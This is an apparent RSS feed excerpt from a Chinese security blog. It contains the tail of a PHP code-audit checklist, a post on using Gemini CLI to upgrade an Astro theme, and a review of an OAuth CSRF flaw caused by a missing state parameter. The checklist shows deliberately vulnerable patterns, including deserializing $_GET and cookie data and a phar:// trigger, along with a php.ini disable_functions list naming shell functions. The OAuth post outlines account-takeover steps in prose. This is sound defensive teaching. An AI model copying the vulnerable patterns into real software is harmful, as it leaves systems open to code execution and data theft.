    die(&quot;Failed to move uploaded file&quot;);
}

chmod($upload_path, 0644);
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;4. 反序列化漏洞&lt;/h2&gt;
&lt;h3&gt;Sink点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;unserialize()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;json_decode()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;审计检查项&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;是否对不可信输入执行反序列化&lt;/li&gt;
&lt;li&gt;数据来源是否可信&lt;/li&gt;
&lt;li&gt;是否实现了类白名单&lt;/li&gt;
&lt;li&gt;是否防止Phar伪协议利用&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;风险代码模式&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;// 模式1：直接反序列化
$data = $_GET[&apos;data&apos;];
$obj = unserialize($data);
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;// 模式2：从Cookie反序列化
$user = unserialize($_COOKIE[&apos;user_data&apos;]);
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;// 模式3：Phar反序列化
$file = $_GET[&apos;file&apos;];
if (file_exists($file)) {  // phar://exploit.phar触发反序列化
    // 处理文件
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;安全实现&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;// 方案1：使用白名单
$allowed_classes = [&apos;User&apos;, &apos;Product&apos;];
$data = $_GET[&apos;data&apos;];
$obj = unserialize($data, [&apos;allowed_classes&apos; =&gt; $allowed_classes]);
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;// 方案2：禁止所有类反序列化
$obj = unserialize($_GET[&apos;data&apos;], [&apos;allowed_classes&apos; =&gt; false]);
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;// 方案3：使用JSON替代
$obj = json_decode($_GET[&apos;data&apos;], false);
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;5. 任意文件读取&lt;/h2&gt;
&lt;h3&gt;Sink点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;file_get_contents()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;readfile()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;fopen() + fread()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;include() / require()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;file()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;审计检查项&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;用户参数是否直接作为文件路径&lt;/li&gt;
&lt;li&gt;是否使用&lt;code&gt;basename()&lt;/code&gt;清理&lt;/li&gt;
&lt;li&gt;是否使用&lt;code&gt;realpath()&lt;/code&gt;规范化&lt;/li&gt;
&lt;li&gt;最终路径是否在允许目录内&lt;/li&gt;
&lt;li&gt;是否实现了文件白名单&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;安全实现&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;// 方案1：文件白名单
$allowed_files = [&apos;readme.txt&apos;, &apos;help.txt&apos;, &apos;faq.txt&apos;];
$file = $_GET[&apos;file&apos;];

if (!in_array($file, $allowed_files)) {
    die(&quot;File not found&quot;);
}

echo file_get_contents(&quot;files/&quot; . $file);
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;// 方案2：路径规范化验证
$basedir = realpath(__DIR__ . &apos;/files&apos;);
$filepath = realpath($basedir . &apos;/&apos; . $_GET[&apos;file&apos;]);

if ($filepath === false || strpos($filepath, $basedir) !== 0) {
    die(&quot;Access denied&quot;);
}

echo file_get_contents($filepath);
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;6. 路径遍历&lt;/h2&gt;
&lt;h3&gt;Sink点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;文件操作&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;审计检查项&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;路径是否包含&lt;code&gt;..&lt;/code&gt;、&lt;code&gt;./&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;是否使用&lt;code&gt;realpath()&lt;/code&gt;规范化&lt;/li&gt;
&lt;li&gt;规范化后路径是否在基础目录内&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;安全实现&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;$basedir = realpath(__DIR__ . &apos;/downloads&apos;);
$filepath = realpath($basedir . &apos;/&apos; . $_GET[&apos;file&apos;]);

if ($filepath === false || strpos($filepath, $basedir) !== 0) {
    die(&quot;Access denied&quot;);
}

echo file_get_contents($filepath);
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;7. XXE (XML External Entity)&lt;/h2&gt;
&lt;h3&gt;Sink点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;simplexml_load_string()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;simplexml_load_file()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DOMDocument::load()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DOMDocument::loadXML()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;审计检查项&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;是否对不可信XML进行解析&lt;/li&gt;
&lt;li&gt;外部实体是否被禁用&lt;/li&gt;
&lt;li&gt;DTD处理是否被禁用&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;安全实现&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;libxml_disable_entity_loader(true);
$xml = simplexml_load_string($_POST[&apos;xml&apos;]);
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;8. SSRF (Server-Side Request Forgery)&lt;/h2&gt;
&lt;h3&gt;Sink点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;file_get_contents()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;fopen()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;curl_exec()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;fsockopen()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;审计检查项&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;是否允许用户指定URL&lt;/li&gt;
&lt;li&gt;是否检测内部地址（127.0.0.1）&lt;/li&gt;
&lt;li&gt;是否限制了协议（仅HTTP/HTTPS）&lt;/li&gt;
&lt;li&gt;是否防止了DNS重绑定&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;安全实现&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;$url = $_GET[&apos;url&apos;];
$parsed = parse_url($url);

if (!$parsed) die(&quot;Invalid URL&quot;);

if (!in_array($parsed[&apos;scheme&apos;], [&apos;http&apos;, &apos;https&apos;])) {
    die(&quot;Invalid protocol&quot;);
}

$host = $parsed[&apos;host&apos;];
if (filter_var($host, FILTER_VALIDATE_IP)) {
    $ip = ip2long($host);
    
    if (($ip &gt;= ip2long(&apos;10.0.0.0&apos;) &amp;#x26;&amp;#x26; $ip &amp;#x3C;= ip2long(&apos;10.255.255.255&apos;)) ||
        ($ip &gt;= ip2long(&apos;172.16.0.0&apos;) &amp;#x26;&amp;#x26; $ip &amp;#x3C;= ip2long(&apos;172.31.255.255&apos;)) ||
        ($ip &gt;= ip2long(&apos;192.168.0.0&apos;) &amp;#x26;&amp;#x26; $ip &amp;#x3C;= ip2long(&apos;192.168.255.255&apos;))) {
        die(&quot;Private IP address not allowed&quot;);
    }
}

$allowed_domains = [&apos;example.com&apos;, &apos;api.example.com&apos;];
if (!in_array($host, $allowed_domains)) {
    die(&quot;Domain not in whitelist&quot;);
}

$content = file_get_contents($url);
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;9. 代码执行&lt;/h2&gt;
&lt;h3&gt;eval&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Sink点&lt;/strong&gt;：&lt;code&gt;eval()&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;检查项&lt;/strong&gt;：是否使用了eval&lt;/p&gt;
&lt;h3&gt;assert&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Sink点&lt;/strong&gt;：&lt;code&gt;assert()&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;检查项&lt;/strong&gt;：是否使用了assert&lt;/p&gt;
&lt;h3&gt;文件包含&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Sink点&lt;/strong&gt;：&lt;code&gt;include() / require()&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;检查项&lt;/strong&gt;：用户输入是否用于包含&lt;/p&gt;
&lt;h3&gt;安全实现（文件包含）&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;$allowed_pages = [&apos;home&apos;, &apos;about&apos;, &apos;contact&apos;];
$page = $_GET[&apos;page&apos;] ?? &apos;home&apos;;

if (!in_array($page, $allowed_pages)) {
    die(&quot;Page not found&quot;);
}

include(&quot;pages/&quot; . $page . &quot;.php&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;10. 模板注入&lt;/h2&gt;
&lt;h3&gt;Sink点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Twig_Loader_String&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;template.render()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;审计检查项&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;是否允许用户编辑模板&lt;/li&gt;
&lt;li&gt;是否将用户输入作为模板&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;安全实现&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;$loader = new Twig_Loader_Filesystem(&apos;templates/&apos;);
$twig = new Twig_Environment($loader);
$output = $twig-&gt;render(&apos;index.html&apos;, [&apos;name&apos; =&gt; $_GET[&apos;name&apos;]]);
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;11. 安全配置&lt;/h2&gt;
&lt;p&gt;关键php.ini设置：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ini&quot;&gt;disable_functions = eval, assert, system, exec, shell_exec, passthru, proc_open
allow_url_include = Off
allow_url_fopen = Off
upload_max_filesize = 5M
max_file_uploads = 20
display_errors = Off
log_errors = On
session.cookie_httponly = On
session.cookie_secure = On
expose_php = Off
open_basedir = /var/www/html:/tmp:/usr/share/php
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;12. 审计工具&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;静态分析：RIPS、SonarQube、Fortify、Semgrep&lt;/li&gt;
&lt;li&gt;代码规范：PHPCS、PHPStan、Psalm&lt;/li&gt;
&lt;li&gt;依赖检查：Composer Audit&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>我给 Gemini 写了一份操作指南让它帮我完成了 Astro 主题的无痛升级</title><link>https://blog.0xd00.com/blog/gemini-automated-astro-updates</link><guid isPermaLink="true">https://blog.0xd00.com/blog/gemini-automated-astro-updates</guid><description>揭秘如何利用 Google Gemini 的强大语言能力和函数调用功能，将繁琐的 Astro 主题手动更新流程，转变为由 AI 驱动的自动化任务。本文详细记录了从一个简单的自然语言指令开始，到 Gemini 分析、执行、验证的全过程。</description><pubDate>Wed, 17 Sep 2025 10:30:00 GMT</pubDate><content:encoded>&lt;p&gt;import { Image } from &apos;astro:assets&apos;&lt;/p&gt;
&lt;p&gt;import imgWorkflow1 from &apos;./assets/img.png&apos;
import imgWorkflow2 from &apos;./assets/img_1.png&apos;&lt;/p&gt;
&lt;p&gt;作为开发者，我们都清楚保持项目依赖更新是多么重要，它几乎是一种&quot;必要的恶&quot;。一方面，新版本带来了新功能、性能优化和安全补丁；另一方面，手动更新的过程却常常枯燥、繁琐，甚至暗藏风险。你需要仔细阅读更新日志，比对文件差异，然后像拆弹专家一样，小心翼翼地修改代码，祈祷不要引入新的问题。&lt;/p&gt;
&lt;p&gt;我的个人博客，用的是一款名为 &lt;code&gt;astro-theme-pure&lt;/code&gt; 的 Astro 主题。最近，我发现它已经从我使用的 &lt;code&gt;4.0.6&lt;/code&gt; 版本迭代了数次。一想到要手动追赶这些更新，我就感到一阵头疼。&lt;/p&gt;
&lt;p&gt;但这一次，我决定换个玩法。我不想再自己动手了，我想试试&lt;strong&gt;让 AI 来完成这一切&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;这篇文章，就是我如何通过向 Google Gemini 发出一个指令，让它扮演我的高级前端工程师，安全、增量地完成整个 Astro 主题升级的完整记录。&lt;/p&gt;
&lt;h2&gt;编写提示词&lt;/h2&gt;
&lt;p&gt;我想让 Gemini 扮演的，不是一个只能聊天的语言模型，而是一个能独立思考、使用工具、并严格遵循流程的&quot;高级前端开发工程师&quot;。要做到这一点，关键在于为它提供一份清晰的&lt;strong&gt;岗位说明书&lt;/strong&gt;和必要的&lt;strong&gt;系统权限（函数调用）&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;我花了一些时间，精心设计了一份初始指令，并将其保存在项目的 &lt;code&gt;GEMINI.md&lt;/code&gt; 文件中。这份文件，就是 Gemini 在这次任务中的行动纲领与行为准则：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-markdown&quot;&gt;你好。现在，你将扮演我的高级前端开发工程师和构建系统专家，专门负责Astro框架。
你的任务是：将我当前项目中使用的 astro-theme-pure 主题，安全、增量地更新到最新的版本。
你的核心目标是： 通过小步、迭代的方式完成更新，确保每一步都能成功构建（npm run build），并在成功后进行一次Git提交，最终在不引入任何错误（尤其是水合错误）的情况下，将主题更新到最新。
你的信息源：
官方更新文档: https://astro-pure.js.org/docs/advanced/update
GitHub 主分支提交记录: https://github.com/cworld1/astro-theme-pure/commits/main/
请严格遵守以下协作流程 (The Workflow):
1.  **分析变更**: 你的第一步是访问并分析上述两个URL，理解从我当前版本（假设是一个较早的版本）到最新版本之间所有的变更。将这些变更在你的脑海里分解成一个个逻辑块（例如：配置文件变更、组件API变更、样式变更等）。
2.  **增量提出方案**: 不要一次性进行所有的修改。你需要根据提交记录的顺序或更新文档的步骤，一次提出一个逻辑上独立的、最小化的变更集。
3.  **提供精确指令**: 对于每一步变更，注意以下原则：
    *   需要修改的文件名。
    *   具体的代码修改，最好使用diff格式（以+和-标示增删）或直接提供修改后的完整代码块。
    *   对这项变更的简要解释（例如：&quot;这是为了适配Astro 4.0的新配置格式&quot;）。
4.  **修改代码，然后运行 npm run build**。
5.  **处理构建结果**: 查看构建结果：
    *   **构建成功**，你需要为这次变更提供一个标准的Git Commit Message（例如 feat(theme): Sync config updates from vX.X），然后继续提出下一个变更集。
    *   **构建失败** 并附上错误日志，你的任务是分析错误日志，并进行调试，进行修复。要特别关注与`client:`指令、UI框架（如React/Svelte）相关的错误，因为它们是水合错误的常见来源。

现在，请开始吧。分析信息源，按照我的要求进行更新。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这份指令的核心，是将一个模糊的&quot;更新任务&quot;，变成了一个清晰、可执行的算法。我给了它目标、信息源、工具，以及最重要的——一个标准化的工作流程。&lt;/p&gt;
&lt;h2&gt;低交互，高自动化的工作&lt;/h2&gt;
&lt;p&gt;准备就绪。我在配置好指令的 Gemini CLI 中，发出了第一个请求。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;我&lt;/strong&gt;: 我当前的版本是 4.0.6，请帮我更新到最新的版本。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Gemini 领命而去，严格按照我预设的 &lt;code&gt;The Workflow&lt;/code&gt; 开始了它的工作。
&amp;#x3C;Image
src={imgWorkflow1}
alt=&apos;AI 扮演开发伙伴的工作流示意&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第一阶段 信息收集&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;它做的第一件事，是调用内置的 &lt;code&gt;web_fetch&lt;/code&gt; 工具，访问我提供的官方更新文档和 GitHub 提交历史。它像一个经验丰富的开发者一样，&quot;阅读&quot;并消化了从 &lt;code&gt;4.0.6&lt;/code&gt; 到最新版之间的所有变更日志和代码提交。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第二阶段 制定计划&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;基于分析结果，Gemini 没有鲁莽地一次性应用所有变更。它将整个更新过程拆解成了一系列逻辑独立的微小步骤，在脑海里形成了一份增量更新计划。例如：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;先更新 &lt;code&gt;astro.config.ts&lt;/code&gt; 中的配置项。&lt;/li&gt;
&lt;li&gt;再替换某个已经废弃的组件 API。&lt;/li&gt;
&lt;li&gt;然后调整 &lt;code&gt;tailwind.config.ts&lt;/code&gt; 的样式配置。&lt;/li&gt;
&lt;li&gt;……&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;第三阶段 &quot;修改-构建-验证&quot;的闭环&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;接着，好戏上演了。对于计划中的每一步，Gemini 都一丝不苟地执行着一个&quot;&lt;strong&gt;修改 -&gt; 构建 -&gt; 验证&lt;/strong&gt;&quot;的循环，这构成了整个流程的核心。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;精准修改&lt;/strong&gt; Gemini 会调用 &lt;code&gt;read_file&lt;/code&gt; 读取目标文件，然后使用 &lt;code&gt;replace&lt;/code&gt; 或 &lt;code&gt;write_file&lt;/code&gt; 工具，将新的代码应用进去。它提供的代码变更极其精确，完全复刻了源仓库的修改，避免了任何手动复制粘贴可能引入的错误。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;立即构建&lt;/strong&gt; 代码修改完成后，它会立刻调用 &lt;code&gt;run_shell_command&lt;/code&gt; 工具执行 &lt;code&gt;npm run build&lt;/code&gt;。这一步是至关重要的&quot;守门人&quot;，确保了每一步微小的改动都不会破坏项目的完整性。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;处理结果&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;如果&lt;strong&gt;构建成功&lt;/strong&gt;，Gemini 会向我汇报成功，并草拟一条符合规范的 Git Commit Message 等待我确认。这不仅保证了更新历史的清晰可追溯，也让我对整个过程了如指掌。&lt;/li&gt;
&lt;li&gt;如果&lt;strong&gt;构建失败&lt;/strong&gt;，它会捕获错误日志，并立刻进入&quot;调试模式&quot;。它会分析错误原因，然后在下一步操作中提出修复方案。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgWorkflow2}
alt=&apos;AI 扮演开发伙伴的工作流示意2&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;
&lt;em&gt;AI 扮演开发伙伴的工作流示意&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;一些思考&lt;/h2&gt;
&lt;p&gt;我们正处在一个激动人心的时代。AI 不再仅仅是编辑器里的&quot;自动补全&quot;插件，它正在演变为一个能够理解复杂任务、使用工具、并遵循预定工作流的&quot;智能体&quot;（Agent）。&lt;/p&gt;
&lt;p&gt;这次实践让我深刻体会到，将大型语言模型作为开发&quot;协作者&quot;的巨大潜力。它将原本可能需要数小时的人工操作，压缩到了几分钟的机器执行时间；它用机器的精确性，取代了人工操作的易错性。更重要的是，通过一份精心设计的 Prompt，我们可以将团队的最佳实践（如增量更新、构建验证、清晰提交）固化为 AI 的行为准则，从而保证了工程质量。&lt;/p&gt;
&lt;p&gt;可以预见，未来更多繁琐、重复的开发任务，像是复杂的代码重构、跨项目依赖管理、甚至根据设计稿自动生成组件代码，都可能被 AI 接管。而我们开发者，则能将宝贵的精力，投入到架构设计、用户体验和业务创新这些更具创造性的工作中去。&lt;/p&gt;
&lt;p&gt;当然，目前的流程仍需人的监督与引导，但它无疑为我们打开了一扇通往&quot;人机协作编程&quot;新世界的大门。&lt;/p&gt;</content:encoded><h:img src="/_astro/merge.CchBeFv6.png"/><enclosure url="/_astro/merge.CchBeFv6.png"/></item><item><title>一次由state参数缺失引发的OAuth 2.0 CSRF安全事件复盘</title><link>https://blog.0xd00.com/blog/oauth-state-parameter-csrf-fix</link><guid isPermaLink="true">https://blog.0xd00.com/blog/oauth-state-parameter-csrf-fix</guid><description>通过一个真实的CSRF漏洞案例，深入剖析在Google OAuth 2.0登录流程中`state`参数的关键作用。本文详细记录了从发现漏洞、识别初版修复方案的缺陷，到最终通过服务端生成和验证`state`参数成功修复漏洞的全过程，旨在强调安全开发中的核心原则。</description><pubDate>Tue, 12 Aug 2025 11:23:08 GMT</pubDate><content:encoded>&lt;p&gt;import { Image } from &apos;astro:assets&apos;&lt;/p&gt;
&lt;p&gt;import imgFlow from &apos;./assets/state-prevents-oauth-csrf.svg&apos;&lt;/p&gt;
&lt;h2&gt;一次常规安全测试中的发现&lt;/h2&gt;
&lt;p&gt;在一次对应用进行安全测试时，我注意到&quot;绑定Google账户&quot;功能的实现方式存在一个高风险隐患。&lt;/p&gt;
&lt;p&gt;从表面看，授权流程非常标准：用户点击按钮，跳转至Google授权页面，同意后返回应用，完成绑定。但通过分析网络请求，我发现了一个关键问题：在向Google发起的授权请求URL中，&lt;strong&gt;缺少了 &lt;code&gt;state&lt;/code&gt; 参数&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;在OAuth 2.0授权框架中，&lt;code&gt;state&lt;/code&gt; 参数是防御跨站请求伪造（CSRF）攻击的核心机制。它的缺失，意味着授权流程存在被攻击者利用、导致账户接管的严重风险。&lt;/p&gt;
&lt;h2&gt;state 缺失如何导致账户接管&lt;/h2&gt;
&lt;p&gt;缺少 &lt;code&gt;state&lt;/code&gt; 参数的验证，为攻击者实施CSRF攻击提供了可能。攻击者可以诱导已登录用户，将其账户与攻击者控制的第三方账户进行绑定。&lt;/p&gt;
&lt;p&gt;具体的攻击流程可以分解如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;攻击者获取自身授权码&lt;/strong&gt;：攻击者在自己的设备上发起&quot;绑定Google账户&quot;的流程，从跳转到Google的授权URL中，提取出包含自身Google账户信息的授权码（&lt;code&gt;code&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;构造恶意请求&lt;/strong&gt;：攻击者创建一个恶意页面或链接。当用户点击时，会向目标应用的回调接口发起请求，但请求中携带的是第一步中获取的、属于&lt;strong&gt;攻击者&lt;/strong&gt;的授权码。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;诱导受害者触发&lt;/strong&gt;：攻击者通过社交工程等手段，诱导一个已登录目标应用的受害者访问该恶意链接。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;完成恶意绑定&lt;/strong&gt;：由于受害者在浏览器中保持着登录状态，目标应用的后端服务器在收到请求时，会误认为这是受害者本人发起的合法操作。服务器使用攻击者的授权码完成了绑定流程，结果是&lt;strong&gt;受害者的应用账户与攻击者的Google账户被绑定&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;实现账户接管&lt;/strong&gt;：攻击者此后便可通过&quot;使用Google登录&quot;功能，直接访问受害者的账户。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;整个过程的关键在于，服务器无法验证收到的回调请求是否源自最初由用户发起的、合法的授权流程。&lt;/p&gt;
&lt;h2&gt;修复过程中存在的误区&lt;/h2&gt;
&lt;p&gt;我将此漏洞报告给开发团队后，团队迅速响应并推出了一个修复方案。然而，这个初版方案存在一个根本性的设计缺陷。&lt;/p&gt;
&lt;p&gt;方案内容是：在前端通过JavaScript生成一个随机字符串作为 &lt;code&gt;state&lt;/code&gt;，并将其存储在浏览器的 &lt;code&gt;localStorage&lt;/code&gt; 中。当Google回调时，同样在前端通过JavaScript从 &lt;code&gt;localStorage&lt;/code&gt; 中取出该值，与URL中的 &lt;code&gt;state&lt;/code&gt; 参数进行比对。&lt;/p&gt;
&lt;p&gt;这个方案是无效的，因为它违背了CSRF防御的一个核心原则：&lt;strong&gt;安全验证必须在可信的后端进行&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;客户端环境（包括 &lt;code&gt;localStorage&lt;/code&gt;）对攻击者来说是完全透明且可控的。攻击者可以在他的恶意页面中轻易地生成任意 &lt;code&gt;state&lt;/code&gt; 值，并将其同时置入 &lt;code&gt;localStorage&lt;/code&gt; 和发往Google的请求中。对于只在前端进行验证的逻辑而言，这样的请求是&quot;合法&quot;的，因此漏洞并未得到实质性修复。&lt;/p&gt;
&lt;h2&gt;通过服务端生成与验证修复漏洞&lt;/h2&gt;
&lt;p&gt;在指出前端验证方案的不足后，我们最终实施了行业标准的安全方案：将 &lt;code&gt;state&lt;/code&gt; 参数的生成、存储和验证全部置于后端服务器管理。&lt;/p&gt;
&lt;p&gt;正确的流程如下：&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgFlow}
alt=&apos;OAuth 2.0 state参数防止CSRF攻击流程图&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;服务端生成与存储 &lt;code&gt;state&lt;/code&gt;&lt;/strong&gt;：当用户发起绑定请求时，后端服务器生成一个高熵的、不可预测的随机字符串作为 &lt;code&gt;state&lt;/code&gt; 值。同时，将此 &lt;code&gt;state&lt;/code&gt; 值与当前用户的会话（Session）进行绑定，并设置一个较短的有效期。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;向客户端下发 &lt;code&gt;state&lt;/code&gt;&lt;/strong&gt;：后端将生成的 &lt;code&gt;state&lt;/code&gt; 值附加到提供给前端的Google授权URL中。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Google回调&lt;/strong&gt;：用户完成授权后，Google会将授权码 &lt;code&gt;code&lt;/code&gt; 和原始的 &lt;code&gt;state&lt;/code&gt; 参数一并发送至应用的回调接口。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;服务端验证 &lt;code&gt;state&lt;/code&gt;&lt;/strong&gt;：在回调接口中，后端服务器从当前用户的会话中取出之前存储的 &lt;code&gt;state&lt;/code&gt; 值，并与请求URL中的 &lt;code&gt;state&lt;/code&gt; 参数进行严格、恒定时间的比较（&lt;code&gt;timing-safe comparison&lt;/code&gt;）。
&lt;ul&gt;
&lt;li&gt;如果两者完全匹配，则证明该请求是合法的，可以继续后续的授权流程。&lt;/li&gt;
&lt;li&gt;如果不匹配或会话中不存在对应的 &lt;code&gt;state&lt;/code&gt; 值，则必须立即拒绝该请求，因为它极可能是一次CSRF攻击。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;通过这个闭环流程，&lt;code&gt;state&lt;/code&gt; 参数成为了一个一次性的、与用户会话强绑定的令牌，确保了授权请求的完整性和真实性，从而根除了CSRF攻击的威胁。&lt;/p&gt;
&lt;h2&gt;思考&lt;/h2&gt;
&lt;p&gt;这次安全事件再次强调了几个基础但至关重要的安全开发原则：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;严格遵循安全规范&lt;/strong&gt;：OAuth 2.0等成熟框架中的每一个参数都有其明确的安全目的，不可随意省略或误用。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;明确信任边界&lt;/strong&gt;：安全相关的验证逻辑必须在服务端执行，绝不能依赖任何来自客户端的数据或逻辑。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;理解安全机制的原理&lt;/strong&gt;：只有深入理解了 &lt;code&gt;state&lt;/code&gt; 参数为何能防范CSRF，才能设计出真正有效的安全方案，避免做出&quot;看似修复&quot;的无效改动。&lt;/li&gt;
&lt;/ol&gt;
